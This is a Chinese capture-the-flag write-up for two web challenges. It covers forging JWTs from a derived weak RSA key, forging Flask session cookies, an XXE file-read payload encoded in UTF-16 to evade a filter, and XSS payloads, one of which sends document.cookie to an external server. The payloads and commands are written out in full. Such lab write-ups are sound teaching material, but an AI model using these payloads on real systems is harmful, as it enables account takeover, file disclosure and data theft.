第四届网鼎杯-青龙组web方向wp
K3y 发表于 四川 CTF 772浏览 · 2024-11-01 14:02

web01

考点

  • RS256弱公钥jwt伪造
  • flask session伪造
  • 疑似出题人的独特emoji编码??
  • xxe通过utf16绕过黑名单实现任意文件读取
    ## 第一步:打开赛题分析环境

题目描述,跟session伪造和jwt伪造有关,思路得偏向到这边

进来是个登录框

没做验证任意可登录,但是admin无法登陆进去

存在以下路由

/profile
/game
/upload
/view_uploads

第二步:猜想分析

题目描述刚才说了,不仅用了jwt还用了session,也就是说不同地方的鉴权后端代码用的不同

多试了几个接口,发现 view_uploads这里的登录判断的鉴权用的是token

因为这里把token删了直接就提示please login first

第三步:jwt和session分析

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEnYSdhIn0.GBiHbZwxSm1aN80JDGnQfCttdl1JZLI4TrioAEcupGxAP0-jw5tGBPpJ36JQYbGTSlUYtgfYEIDxbR_gcMigJtr3Vbh9SkTmh5iNSVa_UeyNrjRps1b3VkDPxBeoHUWaLh86rfCJ-jyK63cLZcp6piD414Le2AyYJiNG_WC0JcVC;

jwt :用的RS256加密算法签名,非对称加密算法

session:

.eJwtjEEOgyAUBa-ib-3CthHBM_QGxhj4fGxTIokfVsa7l4WrySxmTqwhWvmwYJpPNLkCUohYBB3eafvuze2hxBbLtXQgOcKa0493TDBOe9NrP2gyxGwDWf_sX9o4IhUeXg2jUWp0dXekyLXYCkvG9QcEayfh.ZyC60A.NzwtkFRL5VdMgk816XYY81XiydA

拿个脚本跑一下解密得到

{'_flashes': [('success', 'Login successful!')], 'csrf_token': '9b8d908d58c9ceeafcad20389bcc6f1d6579667b', 'role': 'guest'}

第四步: jwt伪造 session伪造

RS256非对称加密算法,得要公钥,私钥

公钥用工具列举一下可能的rsa公钥

python3 jwt_forgery.py jwt1 jwt2
python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEnYSdhIn0.GBiHbZwxSm1aN80JDGnQfCttdl1JZLI4TrioAEcupGxAP0-jw5tGBPpJ36JQYbGTSlUYtgfYEIDxbR_gcMigJtr3Vbh9SkTmh5iNSVa_UeyNrjRps1b3VkDPxBeoHUWaLh86rfCJ-jyK63cLZcp6piD414Le2AyYJiNG_WC0JcVC eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYSJ9.JHNm0_wvntN4ji0uLjIbgZSDtz3S-BvhCX0GbpajLr5ZPMZcyTmqC6-mZzOGmw9WjbzsIWoAU2noiGyf4OE8nB2l3HZoXLIGWxeSYz2nunBenp8Hzxo5HLT4CqhBp7fhY-6-ueQJHzhiuj5fT-4JNdLFZFt50VfHXsj2pDQvCEZh

项目地址 silentsignal/rsa_sign2n: Deriving RSA public keys from message-signature pairs

root@2b8f83eac6a2:/app# python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEnYSdhIn0.GBiHbZwxSm1aN80JDGnQfCttdl1JZLI4TrioAEcupGxAP0-jw5tGBPpJ36JQYbGTSlUYtgfYEIDxbR_gcMigJtr3Vbh9SkTmh5iNSVa_UeyNrjRps1b3VkDPxBeoHUWaLh86rfCJ-jyK63cLZcp6piD414Le2AyYJiNG_WC0JcVC eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYSJ9.JHNm0_wvntN4ji0uLjIbgZSDtz3S-BvhCX0GbpajLr5ZPMZcyTmqC6-mZzOGmw9WjbzsIWoAU2noiGyf4OE8nB2l3HZoXLIGWxeSYz2nunBenp8Hzxo5HLT4CqhBp7fhY-6-ueQJHzhiuj5fT-4JNdLFZFt50VfHXsj2pDQvCEZh
[*] GCD:  0x2
[*] GCD:  0x2010a6aeca744df45a605e6db7a2ee0d788dbeb13e438e2370ef791c925b7ee553ddde8ff8832dee178a6ea2abe0d2523053615dcbc539e45552a2e2682ffead2a7b320b8ab6853cf8744bf4fdbe2578eb7c01425cb2a4058ddf2b9ba0f997bee65fc90ea0e82033dc1748803524fd3f99a1a98f982c19d60ac2f0c289abdb5c69a
[+] Found n with multiplier 1  :
 0x2010a6aeca744df45a605e6db7a2ee0d788dbeb13e438e2370ef791c925b7ee553ddde8ff8832dee178a6ea2abe0d2523053615dcbc539e45552a2e2682ffead2a7b320b8ab6853cf8744bf4fdbe2578eb7c01425cb2a4058ddf2b9ba0f997bee65fc90ea0e82033dc1748803524fd3f99a1a98f982c19d60ac2f0c289abdb5c69a
[+] Written to 2010a6aeca744df4_65537_x509.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.f_a6aZJeisZj-5fL2Ddo8bsDLE7SPVqx3AtrE6074yE'
[+] Written to 2010a6aeca744df4_65537_pkcs1.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.c1LNmRY92JwyMzLarci45zENURVDgjdkWKwh7K_dBdU'
[+] Found n with multiplier 2  :
 0x10085357653a26fa2d302f36dbd17706bc46df589f21c711b877bc8e492dbf72a9eeef47fc4196f70bc5375155f069291829b0aee5e29cf22aa951713417ff56953d9905c55b429e7c3a25fa7edf12bc75be00a12e595202c6ef95cdd07ccbdf732fe48750741019ee0ba4401a927e9fccd0d4c7cc160ceb0561786144d5edae34d
[+] Written to 10085357653a26fa_65537_x509.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.RtnxfBkjMI4bdscMANYbaj1e6NUnmeP7ivLsxy41Jfs'
[+] Written to 10085357653a26fa_65537_pkcs1.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.14H5k5iJkzv2aavgVix0wm6VjuyBYBd5lbmBSQxsNVM'
[+] Found n with multiplier 7  :
 0x494aa18f859c1fe560dc458d117469435cb1b3de452cb29a26b5a71cbc3ed8e79b1fb392380744695a60fce188dd4e72b79a031f889e3b2e79e1744ea4fffcf985abe01a61a1308b5c77890b688e0c821a4002e0d3e176e81fb4f5f6023a7f6b332414b3b8ee00768959ca499e0b676cccdf3a6cc9895fa0189901bca8643e8a16
[+] Written to 494aa18f859c1fe5_65537_x509.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.HlfX0-Ckq_5SXSvblulnlkZTlI2KaS6731XWJHqDIYk'
[+] Written to 494aa18f859c1fe5_65537_pkcs1.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.jkBe0KRjZ6_TtNW3uQNWzrGsr4Pr2ggWDEAKpWnejqU'
[+] Found n with multiplier 14  :
 0x24a550c7c2ce0ff2b06e22c688ba34a1ae58d9ef2296594d135ad38e5e1f6c73cd8fd9c91c03a234ad307e70c46ea7395bcd018fc44f1d973cf0ba27527ffe7cc2d5f00d30d09845ae3bc485b44706410d20017069f0bb740fda7afb011d3fb599920a59dc77003b44ace524cf05b3b6666f9d3664c4afd00c4c80de54321f450b
[+] Written to 24a550c7c2ce0ff2_65537_x509.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.rvVViN0EHtchuMYX0QUclBKFR-WfdlVNYamZLW9bQds'
[+] Written to 24a550c7c2ce0ff2_65537_pkcs1.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.LuMruqV8CQnxxqhqc0winF75TxxOmls2rz-ngQOmJtI'
[+] Found n with multiplier 37  :
 0xdddafdce1ed1aca87f25258f576e37b7266cf0089a0ac2b00678e518b65d6024dc7ba306b76ff1ad9bf526fdb9f7d8b532af9ac051704471023bc0ee0f228f0efc6922e812c554acc4df7552f74d1ef19b9154d212aa7cb0ceae26ccffd3ab36a8a491b15261bc36617e80016fb3d1495765729568f9c783c0145848e8f817412
[+] Written to dddafdce1ed1aca8_65537_x509.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.puJs_mFfBqZuoU7lEI9vf7tJjJILqZFvFzdqt_1GFOw'
[+] Written to dddafdce1ed1aca8_65537_pkcs1.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.ZPzHChEeiR_G0_gaj3f48NAlCAIEUixa8WlVwYnbzdM'
[+] Found n with multiplier 74  :
 0x6eed7ee70f68d6543f9292c7abb71bdb933678044d056158033c728c5b2eb0126e3dd1835bb7f8d6cdfa937edcfbec5a9957cd6028b82238811de077079147877e3491740962aa56626fbaa97ba68f78cdc8aa6909553e58675713667fe9d59b545248d8a930de1b30bf4000b7d9e8a4abb2b94ab47ce3c1e00a2c24747c0ba09
[+] Written to 6eed7ee70f68d654_65537_x509.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.SKx5l-8vwmRRmq4CPZ2xU74SwPf8Lc-6ld_igESOWSE'
[+] Written to 6eed7ee70f68d654_65537_pkcs1.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.0lhQCbytTM-X4WS63btIsNYSKqT5Pc__3dn3Tz-cWtQ'
================================================================================
Here are your JWT's once again for your copypasting pleasure
================================================================================
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.f_a6aZJeisZj-5fL2Ddo8bsDLE7SPVqx3AtrE6074yE
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.c1LNmRY92JwyMzLarci45zENURVDgjdkWKwh7K_dBdU
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.RtnxfBkjMI4bdscMANYbaj1e6NUnmeP7ivLsxy41Jfs
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.14H5k5iJkzv2aavgVix0wm6VjuyBYBd5lbmBSQxsNVM
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.HlfX0-Ckq_5SXSvblulnlkZTlI2KaS6731XWJHqDIYk
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.jkBe0KRjZ6_TtNW3uQNWzrGsr4Pr2ggWDEAKpWnejqU
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.rvVViN0EHtchuMYX0QUclBKFR-WfdlVNYamZLW9bQds
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.LuMruqV8CQnxxqhqc0winF75TxxOmls2rz-ngQOmJtI
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.puJs_mFfBqZuoU7lEI9vf7tJjJILqZFvFzdqt_1GFOw
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.ZPzHChEeiR_G0_gaj3f48NAlCAIEUixa8WlVwYnbzdM
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.SKx5l-8vwmRRmq4CPZ2xU74SwPf8Lc-6ld_igESOWSE
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.0lhQCbytTM-X4WS63btIsNYSKqT5Pc__3dn3Tz-cWtQ

然后用x509的公钥,拿去这个项目生成私钥

RsaCtfTool/RsaCtfTool: RSA attack tool (mainly for ctf) - retrieve private key from weak public key and/or uncipher data

拿着公私钥去改jwt就能让用户名是admin了

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1

然后去profile就可以发现jwt决定的username变成admin了

但问题还存在session鉴权的role仍然是guest

目前jwt伪造成功可以去刚才提到的那几个路由

game路由下是emoji表情字典???

可以看到flag是一个目录

然后再进行构造cd flag;xxx这种再cat *

最后得到源码

from flask import Flask, render_template, redirect, url_for, flash, session, request, jsonify, make_response
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, FileField, TextAreaField
from wtforms.validators import DataRequired, Length
from werkzeug.utils import secure_filename
import os
import string
from authlib.jose import jwt, JoseError
import requests

app = Flask(__name__)
app.config['SECRET_KEY'] = '36f8efbea152e50b23290e0ed707b4b0'

with open('/app/flag/private_key.pem', 'r') as f:
    private_key = f.read()

with open('/app/flag/public_key.pem', 'r') as f:
    public_key = f.read()

def game_play(user_input):
    emoji_table = {
         #这里是emoji对应的字符,不支持发出来因此就删了
    }
    if len(set(user_input).intersection(set(string.printable.replace(" ", '')))) > 0:
        return user_input.lower()
    command = user_input
    result = 'emoji shell'
    for key in emoji_table:
        if key in command:
            command = command.replace(key, emoji_table[key]).lower()
            result = command
            result = result + os.popen(command + " 2>&1").read()
    return result

class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=1, max=25)])
    password = PasswordField('Password', validators=[DataRequired()])
    submit = SubmitField('Login')

class UploadForm(FlaskForm):
    avatar = FileField('Choose a file', validators=[DataRequired()])
    submit = SubmitField('Upload')

class GameForm(FlaskForm):
    user_input = TextAreaField('Enter something', validators=[DataRequired()])
    submit = SubmitField('Submit')

def generate_jwt(username):
    header = {'alg': 'RS256'}
    payload = {
        'username': username,
    }
    token = jwt.encode(header, payload, private_key)
    return token

def decode_jwt(token):
    try:
        payload = jwt.decode(token, public_key)
        return payload
    except JoseError as e:
        return None

@app.route('/', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        username = form.username.data
        password = form.password.data
        if username == 'admin':
            flash('Invalid username or password', 'danger')
            return render_template('login.html', form=form)
        if username:
            session['role'] = 'guest'
            token = generate_jwt(username)
            response = make_response(redirect(url_for('dashboard')))
            response.set_cookie('token', token.decode())
            flash('Login successful!', 'success')
            return response
        else:
            flash('Invalid username or password', 'danger')
    return render_template('login.html', form=form)

@app.route('/dashboard')
def dashboard():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    if not payload:
        flash('Invalid or expired token. Please login again.', 'danger')
        return redirect(url_for('login'))
    return render_template('dashboard.html')

@app.route('/profile')
def profile():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    if not payload:
        flash('Invalid or expired token. Please login again.', 'danger')
        return redirect(url_for('login'))
    user_info = {
        'username': payload['username'],
        'role': session['role'],
    }
    return render_template('profile.html', user_info=user_info)

@app.route('/game', methods=['GET', 'POST'])
def game():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('game.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('game.html', form=form, error_message=error_message)
    if payload['username'] != 'admin':
        error_message = 'You do not have permission to access this page. Your username is not admin'
        return render_template('game.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        user_input = form.user_input.data
        user_input = game_play(user_input)
    return render_template('game.html', form=form, user_input=user_input)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    form = UploadForm()
    if not payload or payload['username'] != 'admin':
        error_message = 'You do not have permission to access this page. Your username is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    if not session['role'] or session['role'] != 'admin':
        error_message = 'You do not have permission to access this page. Your role is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    if form.validate_on_submit():
        file = form.avatar.data
        if file:
            filename = secure_filename(file.filename)
            files = {'file': (filename, file.stream, file.content_type)}
            php_service_url = 'http://127.0.0.1/upload.php'
            response = requests.post(php_service_url, files=files)
            if response.status_code == 200:
                flash(response.text, 'success')
            else:
                flash('Failed to upload file to PHP service', 'danger')
    return render_template('upload.html', form=form)

@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    if payload['username'] != 'admin':
        error_message = 'You do not have permission to access this page. Your username is not admin'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        filepath = form.user_input.data
        pathurl = request.form.get('path')
        if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
            error_message = "www.testctf.com must be in path and /var/www/html/uploads/ must be in filepath."
            return render_template('view_uploads.html', form=form, error_message=error_message)
        params = {'s': filepath}
        try:
            response = requests.get("http://" + pathurl, params=params, timeout=1)
            return render_template('view_uploads.html', form=form, user_input=response.text)
        except:
            error_message = "500! Server Error"
            return render_template('view_uploads.html', form=form, error_message=error_message)
    return render_template('view_uploads.html', form=form, user_input=user_input)

@app.route('/logout')
def logout():
    session.clear()
    response = make_response(redirect(url_for('login')))
    response.delete_cookie('token')
    flash('You have been logged out', 'info')
    return response

if __name__ == '__main__':
    app.run()

得到session key

36f8efbea152e50b23290e0ed707b4b0

伪造session,命令

python3 flask_session_cookie_manager3.py encode -s "36f8efbea152e50b23290e0ed707b4b0" -t "{'_flashes': [('success', 'Login successful\!')], 'csrf_token': '9b8d908d58c9ceeafcad20389bcc6f1d6579667b', 'role': 'admin'}"

得到

.eJwtjEEOgyAUBa9i39qFbSOCZ-gNqjHw-bSmFBK_rox3l4WrySxmdkwhWvmyoH_vqNYCyEbEIqjxyp85VZeHLQ7DDeMx1iBZwrTmHyf0ME5702jfajLEbANZ_2ie2jgiFe5etZ1RqnNluOTIpbD-PyccJ10BKHo.ZyDbfA._QhJgUcjVtI_gb5qxYE436job5M

第五步:伪造后事-xxe

文件上传接口会给你把后缀吊了

通过 view_uploads 进行访问对应文件

但是提示必须要

www.testctf.com must be in path and /var/www/html/uploads/ must be in filepath.

利用@或者传参绕过即可

成功绕过但是报错Failed Load XML 证明该处会加载XML文件 上传一个XXE进行读文件

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY > 
<!ENTITY xxe SYSTEM "file:///vat/www/html/flag.php" >]> 
<creds>
    <user>&xxe;</user> 
    <pass>mypass</pass> 
</creds>

返回hacker

存在waf

utf16绕过

iconv -f UTF-8 -t UTF-16 xxe.xml -o xxe_16.xml

配合php伪协议读flag

web02

考点

  • 利用xss发起ajax请求访问内网资源
    reference:一次利用XSS读取源码
    ## 第一步:开题目环境,得到路由hash

开题进来随意登录得到一个hash

访问

第二步:验证xss漏洞存在

输入框这里前端源码,很明显可以构造xss

"<script>alert('starven hacked you!')</script>

第三步:漏洞利用尝试

带cookie,然而并没有东西

"<script>alert(document.cookie)</script>

还外带了一下到vps然而也没有(其实是为了试探一下出不出网

"<script>document.write('<img src="http://ip/'+document.cookie+'"/>')</script>

该题由于boss界面会返回content=xxx

因此将flag带到这里content的内容使得页面回显(其实刚才测试了出网也可以带到vps上)

然后尝试执行js代码发起http请求

function exp(data) {
    var req = new XMLHttpRequest();
    req.open("POST","http://127.0.0.1:5000/content/6a7c5d7acc37ff2b8801856ded447fee", true);
    req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    req.send("content=" + data);
}
var req2 = new XMLHttpRequest();
req2.open("GET", "http://127.0.0.1:5000/flag");
req2.send();
req2.onload = function () {
    var result = this.responseText;
    exp(result);
};

payload闭合一下xss即可

"<script>
function exp(data) {
    var req = new XMLHttpRequest();
    req.open("POST","http://127.0.0.1:5000/content/6a7c5d7acc37ff2b8801856ded447fee", true);
    req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    req.send("content=" + data);
}
var req2 = new XMLHttpRequest();
req2.open("GET", "http://127.0.0.1:5000/flag");
req2.send();
req2.onload = function () {
    var result = this.responseText;
    exp(result);
};
</script>

第四步:利用payload获取flag

0 条评论
某人
表情
可输入 255